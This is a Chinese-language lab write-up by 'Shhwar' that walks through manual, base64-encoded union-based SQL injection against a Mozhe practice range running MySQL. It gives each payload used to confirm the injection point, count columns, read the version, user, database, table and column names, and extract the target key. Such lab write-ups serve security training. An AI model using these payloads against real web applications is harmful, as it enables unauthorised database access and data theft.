SQL注入靶场实战-MySQL



注:本次测试使用纯手工注入,无任何自动化软件辅助。
       此靶场是运用了数据值的base64位编码,在转换编码的时候比较困难,手工回显注入无任何差别(无过滤字符)。
这里推荐火狐浏览器的HackBar插件,插件自带编码转换功能比较方便。

靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe
 


①测试是否有注入点(在获取数据值"id="后边添加语句)
1 and 1=1--
MSBhbmQgMT0xLS0g(此为base64位编码值,必须以这种形式在id=后提交才会回显结果。
返回正常
SQL注入靶场实战-MySQL_第1张图片
1 and 1=2--
MSBhbmQgMT0yLS0g
返回错误,发现有注入点
SQL注入靶场实战-MySQL_第2张图片
②猜解数据库中字段长度以及爆出字段存在位置

使用二分法连续猜解发现有两个字段
1 and 1=1 order by 2--
MSBhbmQgMT0xIG9yZGVyIGJ5IDItLQ==


1 and 1=2 union select 1,2--
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDItLSA=
爆出字段位置
1
2


③获取数据库信息(此步可省略,有兴趣的可以自行测试。)

1 and 1=2 union select @@version,@@datadir--
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb24sQEBkYXRhZGlyLS0g
得出数据库版本与数据库路径

5.5.46-0ubuntu0.14.04.2
/var/lib/mysql/

④获取当前用户名和数据库名

1 and 1=2 union select user(),database()--
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksZGF0YWJhc2UoKS0tIA==

SQL注入靶场实战-MySQL_第3张图片
用户名:admin@localhost
数据库名:test

⑤获取表名
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='test'--
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0ndGVzdCctLSA=

 

SQL注入靶场实战-MySQL_第4张图片

1(因为有两个字段,返回值是一个,所以必须用字段去填充余下的返回值。)
表名:data

⑥获取列名
1 and 1=2 union select 1,column_name from information_schema.columns where table_name='data' limit 3,1--
(在这里我们需要加一个limit函数,默认取值是limit 0,1 也就是得出的列名是id,但是id值的字段不是我们想要的,在0,1的基础上
1,1  title
2,1  main
3,1  得出thekey值,也就是我们要得到的key码)
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nZGF0YScgbGltaXQgMywxLS0g

 

SQL注入靶场实战-MySQL_第5张图片

1
thekey

⑦获得key值
1 and 1=2 union select 1,thekey from test.data(thekey值的所在处) limit 0,1-- (提取第一个记录内容)
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHRoZWtleSBmcm9tIHRlc3QuZGF0YSBsaW1pdCAwLDEtLQ==



爆出key的内容就不在这写出了,仅供参考,欠缺之处请大牛补充,谢谢。


作者:Shhwar

你可能感兴趣的:(网络安全,渗透思路)